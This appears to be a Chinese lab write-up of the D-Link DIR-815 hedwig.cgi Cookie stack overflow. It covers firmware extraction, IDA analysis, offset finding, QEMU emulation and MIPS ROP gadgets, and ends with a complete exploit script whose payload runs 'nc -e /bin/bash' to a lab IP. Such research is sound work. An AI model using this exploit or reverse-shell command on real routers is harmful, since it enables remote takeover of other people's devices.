《IOT废物学习之路》(7)–D-Link-DIR-815路由器多次溢出漏洞分析
漏洞公告:https://www.exploit-db.com/exploits/33863
漏洞介绍
从POC
和漏洞报告中可以看出,该漏洞存在于名为hedwig.cgi
的CGI
脚本中,未认证攻击者通过调用这个CGI
脚本传递一个超长的Cookie
值,使程序堆栈溢出,从而获得路由器远程控制权限。
漏洞分析
固件提取
https://rebyte.me/en/d-link/89510/file-592084/固件下载地址
解压缩得到:DIR-815-FW-1.01b14_1.01b14.bin固件
利用binwalk提取固件
1 2 3 4
| sudo docker run -it --rm \ -v $(pwd):$(pwd) \ asdqwe876/iot_analyze \ binwalk --run-as=root -C $(pwd) -Mer $(pwd)/DIR-815-FW-1.01b14_1.01b14.bin
|
但是出现了很多告警,大致就是该软链接指向解压目录之外,为了安全起见binwalk会将其重定向到/dev/null
。后续的测试如果直接使用这样解压出来的文件将会出现各种问题。所以需要采取其它方法,具体的解决办法可以看Cybelangel
师傅的文章
重新提取之后并没有出现告警
用ll
查看一下,发现漏洞组件hedwig.cgi
是一个指向的./hedocs/cgibin
的符号链接,所以说真正的漏洞代码存在于./hedocs/cgibin
。
IDA静态分析,定位漏洞代码
静态分析cgibin
文件,因为知道是由于Cookie
值过长导致的,所以可以利用查找字符串(SHIFT+F12
),然后交叉引用跟踪到hedwigcgi_main
函数。
所以说这个hedwigcgi_main
就是主函数,通过代码审计,可以定位到是因为一个sprintf
函数导致的溢出
由于并没有对长度进行限制,所以导致栈溢出。
其中发现了许多sobj
的函数,所以也对其都进行一下分析
定义结构体
在IDA中手动定义结构体:View
–>Open Subviews
–>Structures
,然后再按下insert
就行。
增加变量是D
,修改名称n
,修改类型y
。
定义的结构体如下
1 2 3 4 5 6 7 8 9
| 00000000 sobj struc # (sizeof=0x18, mappedto_7) 00000000 field_0:.word ? # offset 00000004 field_4:.word ? # offset 00000008 field_8:.word ? 0000000C max_size:.word ? 00000010 used_size:.word ? 00000014 string:.word ? # offset 00000018 sobj ends 00000018
|
修改变量类型。
sobj_new()申请一个新的字符串结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| sobj *sobj_new() { sobj *result;
result = malloc(0x18u); if ( result ) { result->field_8 = 0; result->max_size = 0; result->used_size = 0; result->string = 0; result->field_4 = result; result->field_0 = result; } return result; }
|
sobj_free()将该字符串结构中的字符串删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int __fastcall sobj_free(sobj *a1) { int result; int *string;
result = -1; if ( a1 ) { string = a1->string; if ( string ) free(string); a1->field_8 = 0; a1->string = 0; a1->max_size = 0; a1->used_size = 0; return 0; } return result; }
|
sobj_add_char()向该字符串结构追加一个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __fastcall sobj_add_char(sobj *a1, char a2) { int used_size; int *string;
if ( !a1 || a1->max_size == a1->used_size && sub_40E864() < 0 ) return -1; used_size = a1->used_size; *(a1->string + used_size) = a2; string = a1->string; a1->used_size = used_size + 1; *(string + used_size + 1) = 0; return 0; }
|
sobj_strcmp()将字符串结构中的字符串与给定字符串进行对比,如果当前字符串结构的字符串空间还未申请,就拿空字符串对比
1 2 3 4 5 6 7 8 9 10 11
| int __fastcall sobj_strcmp(sobj *a1, const char *a2) { const char *string;
if ( !a1 ) return -1; string = a1->string; if ( !string ) string = ""; return strcmp(string, a2); }
|
sobj_get_string()获得字符串结构中的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13
| char *__fastcall sobj_get_string(sobj *a1) { int *string;
string = 0; if ( a1 ) { string = a1->string; if ( !string ) return ""; } return string; }
|
sobj_add_string()向字符串结构中追加新的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int __fastcall sobj_add_string(sobj *a1, const char *a2) { int v4; size_t v5; int v6; int used_size;
if ( !a1 ) return -1; v4 = 0; if ( a2 ) { v5 = strlen(a2); if ( v5 ) { while ( 1 ) { used_size = a1->used_size; if ( a1->max_size - used_size >= v5 ) break; v6 = sub_40E864(a1); v4 = -1; if ( v6 < 0 ) return v4; } strcpy(a1->string + used_size, a2); v4 = 0; a1->used_size += v5; } else { return 0; } } return v4; }
|
sobj_del()删除字符串结构
1 2 3 4 5 6 7 8 9 10 11 12
| void __fastcall sobj_del(sobj *a1) { int *string;
if ( a1 ) { string = a1->string; if ( string ) free(string); free(a1); } }
|
sess_get_uid()
综上所述,只有Cookie的形式为uid=payload
才会被接受
再分析上层函数hedwigcgi_main
只接收POST请求方式
QEMU动态分析
根据上述分析,因为是栈溢出漏洞,所以首先需要确定偏移量
利用一个patternLoc0ffset.py
生成一个2000
个字符的文本文件
1
| python patternLocOffset.py -c -l 2000 -f test
|
patternLocOffset.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
|
import argparse import struct import binascii import string import time import sys import re
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" b = "abcdefghijklmnopqrstuvwxyz" c = "0123456789"
def generate(count,output): codeStr = '' print '[*] Create pattern string contains %d characters'%count, timeStart = time.time() for i in range(0,count): codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10] print 'ok!' if output: print '[+] output to %s'%output, fw = open(output,'w') fw.write(codeStr) fw.close() print 'ok!' else: return codeStr print "[+] take time: %.4f s"%(time.time()-timeStart) def patternMatch(searchCode, length=1024): offset = 0 pattern = None
timeStart = time.time() is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode) isHex = re.match('^[0-9a-fA-F]{8}',searchCode) if is0xHex: pattern = binascii.a2b_hex(searchCode[2:]) elif isHex: pattern = binascii.a2b_hex(searchCode) else: print '[-] seach Pattern eg:0x41613141' sys.exit(1) source = generate(length,None) offset = source.find(pattern) if offset != -1: print "[*] Exact match at offset %d"%offset else: print "[*] No exact matches, looking for likely candidates..." reverse = list(pattern) reverse.reverse() pattern = "".join(reverse) offset = source.find(pattern) if offset != -1: print "[+] Possible match at offset %d (adjusted another-endian)"%offset print "[+] take time: %.4f s"%(time.time()-timeStart) def main(): parser = argparse.ArgumentParser() parser.add_argument('-s', '--search', help='search for pattern') parser.add_argument('-c', '--create', help='create a pattern',\ action='store_true') parser.add_argument('-f', '--file', help='output file name',\ default='patternShell.txt') parser.add_argument('-l', '--length',help='length of pattern code',\ type=int,default=1024) args = parser.parse_args()
length = args.length output = args.file createCode = args.create searchCode = args.search
if createCode and (0 < args.length <= 26*26*10): generate(length,output) elif searchCode and (0 < args.length <= 26*26*10): patternMatch(searchCode,length) else: print '[-] You shoud chices from [-c -s]' print '[-] Pattern length must be less than 6760' print 'more help: pattern.py -h'
if __name__ == "__main__": main()
|
流程:
1 2 3 4
| 主Web程序监听端口->传送HTTP数据包-> HTTP中headers等数据通过环境变量的方式传给cgi处理程序-> cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据 #POST具体数据可以通过类似输入流传入:echo "uid=aaa"| /htdocs/web/hewig.cgi
|
由于程序是通过getenv
的方式获取HTTP
数据包中数据,所以动态调试模拟时需要使用qemu -E
设置环境变量。
动调测试脚本 squashfs1.sh
1 2 3 4 5 6 7
| #!/bin/bash
test=$(pythoc -c "print 'uid='+open('test','r').read(2000)") LEN=$(echo -n "$test" | wc -c) PORT="1234"
sudo chroot . ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH=$LEN -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$test" -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
|
在squashfs-root
目录下执行./sprintf1.sh
,后利用IDA
远程GDB
调试,发现返回地址已经被过长的字符串覆盖,从而地址程序崩溃。
这样我们就可以计算偏移了
1
| python patternLocOffset.py -s 0x38694237 -l 2000
|
得到偏移1043
仔细分析之后在这个sprintf
漏洞后还有一个sprintf
漏洞
这里跟上面的sprintf
函数一样,也是对提取的uid
的值进行格式化输出。如果这个sprintf
执行成功的话,缓冲区将会被覆盖,偏移也会随之改变。所以我们还需要触发这个漏洞从而重新计算偏移。
根据静态分析,如果要能够触发这个漏洞,就必须要满足fopen("/var/tmp/temp.xml", "w")
也就是说需要存在该文件。
由于提取的固件文件系统中没有这个目录和文件,所以需要在创建对应的目录和文件。
1 2 3
| mkdir var/tmp touch var/tmp/temp.xml ls var/tmp/
|
并且继续向下分析的话,如果haystack
为0
的话,也是无法触发第二个sprintf
漏洞的。
经过交叉引用查看,判断只要传入的参数不为空,haystack
就不会为0
,即可以触发第二个sprintf
漏洞。
所以根据上述分析,对动态调试脚本进行修改。
sprintf2.sh
1 2 3 4 5 6 7 8 9 10
| #!/bin/bash
INPUT="$1" COOKIE="$2" PORT="1234" LEN=$(echo -n "$INPUT" | wc -c)
echo $INPUT | chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
|
IDA
远程调试后,计算偏移
1
| python patternLocOffset.py -s 0x68423668 -l 2000
|
得到偏移为1009
构造ROP
接下来就利用gadget构造ROP劫持PC
可以看到libc.so.6
是一个指向libuClibc-0.9.30.1.so
的软链接
先从libc
文件中找到system
函数的偏移0x53200
如果直接将system的地址写入时,因为有\x00
会被截断,所以需要将system
地址减去1,这样就避免了被截断的情况,最后我们只需要将其再加1即可。
然后还需要找一个能将system
首个参数传入a0
的gadget
。
所以总结需要找到两个gadget
- gadget1:将第一个参数传入到
a0
中
- gadget2:将system_addr(原本是-1,为了防止被截断)的地址+1
所以需要利用到IDA中的mipsrop插件寻找这两个gadget
使用mipsrop的步骤
前提需要在idapython
中先输入以下代码
1 2
| import mipsrop mipsrop = mipsrop.MIPSROPFinder()
|
在IDAPython
中输入mipsrop.stackfinders()
0x159cc
处的gadget可以利用,是将$sp+10处的地址存放到$a0
1 2 3 4 5 6
| .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x14C+var_13C .text:000159D0 21 28 60 02 move $a1, $s3 .text:000159D4 21 30 20 02 move $a2, $s1 .text:000159D8 21 C8 00 02 move $t9, $s0 .text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy .text:000159E0 21 20 A0 02 move $a0, $s5
|
再寻找能将system
地址+1
的gadget。
在IDAPython
中输入mipsrop.find('addiu $s0,1')
0x158c8
处的gadget可以利用,将$s0处的地址+1,然后再跳回$s5
1 2 3 4 5 6 7 8 9
| .text:000158C8 21 C8 A0 02 move $t9, $s5 .text:000158CC 09 F8 20 03 jalr $t9 .text:000158D0 01 00 10 26 addiu $s0, 1 .text:000158D0 .text:000158D4 00 00 57 A0 sb $s7, 0($v0) .text:000158D8 00 00 45 8E lw $a1, 0($s2) .text:000158DC 01 00 44 24 addiu $a0, $v0, 1 .text:000158E0 21 C8 A0 02 move $t9, $s5 .text:000158E4 09 F8 20 03 jalr $t9
|
找到hedwigcgi_main
回收栈部分
所以栈上的布局:
1 2 3 4 5 6 7 8 9 10
| # $sp+0x400+0x20 s0 # $sp+0x400+0x20 s1 # $sp+0x400+0x20 s2 # $sp+0x400+0x20 s3 # $sp+0x400+0x20 s4 # $sp+0x400+0x20 s5 # $sp+0x400+0x20 s6 # $sp+0x400+0x20 s7 # $sp+0x400+0x20 fp # $sp+0x400+0x24 $ra
|
所以可以编写exp,但是我们首先得计算出基址。
由于qemu模拟,gdb远程调试无法使用vmmap
,所以我们只能用过动态调试,利用其他函数的地址计算出基址
所以基址:
1
| base_addr = 0x3ff65a70 - 0002DA70 = 0x3ff38000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * from ctypes import * from libcfind import * import base64 import sys context(os='linux', arch='mips', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./htdocs/cgibin') elf = ELF('./htdocs/cgibin') else: p = remote('', ) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./lib/libuClibc-0.9.30.1.so')
libc_addr = 0x3ff38000 system = libc_addr + libc.symbols['system']
lg("system_addr",system)
gadget1 = 0x000158C8 gadget2 = 0x000159CC
cmd = 'nc -e /bin/bash 192.168.247.129 6666' padding = 'A' * 0x3CD
padding += p32(system -1) padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += p32(libc_addr+gadget2) padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += p32(libc_addr+gadget1)
padding += 'A' * 0x10 padding += cmd
f = open("exploit","wb+")
f.write(padding)
f.close()
|
生成EXP
动态验证(qemu-user)
但是无法get shell
,在gdb中一直卡在0x3ff4d9e4 lw $gp, 0x10($fp)
可能是由于qemu用户模式下仿真执行程序,环境各种因素可能会影响导致getshell失败。
qemu-system系统模式
使用系统模拟,可以重现http
服务.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
tar czf rootfs.tar.gz ./rootfs
service ssh start
sudo ip tuntap add tap0 mode tap sudo ip link set tap0 up sudo ifconfig tap0 10.0.0.1/24
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -smp 4
ifconfig eth0 10.0.0.2/24 echo 0 > /proc/sys/kernel/randomize_va_space service ssh start
|
1 2 3 4 5 6 7 8
| -M malta -kernel -hda -append cmdline -net nic -net tap -net -nic -net tap -nographic
|
https://people.debian.org/~aurel32/qemu/mipsel/qemu-system
所需的-kernel和-hda文件下载地址
将固件提取的文件系统从主机传到qemu上(利用scp)
1
| sudo scp -r squashfs-root root@10.0.0.1:/root/
|
在squashfs-root
需要放置配置文件conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件
Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 }
Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } }
Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 #对应qemu虚拟机的网卡 Address 10.0.0.2 #对于qemu虚拟机IP Port "1234" #对应未被使用的端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
然后在squashfs-root
目录下执行copy.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| cp conf / cp sbin/httpd / cp -rf htdocs/ / rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f conf
|
这一步是为了配置启动http
服务需要的环境和动态链接库。
通过以下命令访问:-V显示详细信息,-X指定指令,-H自定义头信息传递给服务器,-b指定cookie字符串
1
| curl http://10.0.0.2:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
|
curl
在linux中是一个利用URL规则在命令行下工作的文件传输工具。
重新计算偏移
动调脚本debug.sh
1 2 3 4 5 6 7 8
| #!/bin/bash export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat exploit`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=1234"|/htdocs/web/hedwig.cgi echo "uid=1234"|./gdbserver.mipsel 192.168.247.129:6666 /htdocs/web/hedwig.cgi
|
主机中
1 2 3
| gdb-multiarch htdocs/cgibin set architecture mips target remote 10.0.0.2:6666 #对应qemu地址和端口
|
再次计算偏移
1
| python patternLocOffset.py -s 0x68423668 -l 2000
|
可以看出,偏移还是1009
顺便重新计算基址
1
| base = 0x77f61a70 - 0002DA70 = 0x77F34000
|
上述是一种方法,跟用qemu-user
模式确定基址方法相同
还有另外一种方法
利用(注意根据会先pid规律,快速修改预测pid执行,否则maps地址数据不会出来)
1 2 3 4 5 6
| export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=1234" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" /htdocs/web/hedwig.cgi & cat /proc/pid/maps
|
所以确定了基址为0x77F34000
编写EXP
system
方法:将上面的exp
的libc基地址
和偏移
改掉然后cmd
换成nc -e /bin/bash 10.0.0.1 6666
(IP
地址是ubuntu机器的,即攻击主机IP
)
debug2.sh
:
1 2 3 4 5 6 7 8
| #!/bin/bash export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat exploit`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=1234"|/htdocs/web/hedwig.cgi
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * from ctypes import * from libcfind import * import base64 import sys context(os='linux', arch='mips', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./htdocs/cgibin') elf = ELF('./htdocs/cgibin') else: p = remote('', ) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./lib/libuClibc-0.9.30.1.so')
libc_addr = 0x77F34000 system = libc_addr + libc.symbols['system']
lg("system_addr",system)
gadget1 = 0x000158C8 gadget2 = 0x000159CC
cmd = 'nc -e /bin/bash 10.0.0.1 6666' padding = 'A' * 0x3CD
padding += p32(system -1) padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += p32(libc_addr+gadget2) padding += 'AAAA' padding += 'AAAA' padding += 'AAAA' padding += p32(libc_addr+gadget1)
padding += 'A' * 0x10
padding += cmd
f = open("exploit","wb+")
f.write(padding)
f.close()
|
可以看到成功拿到shell !!!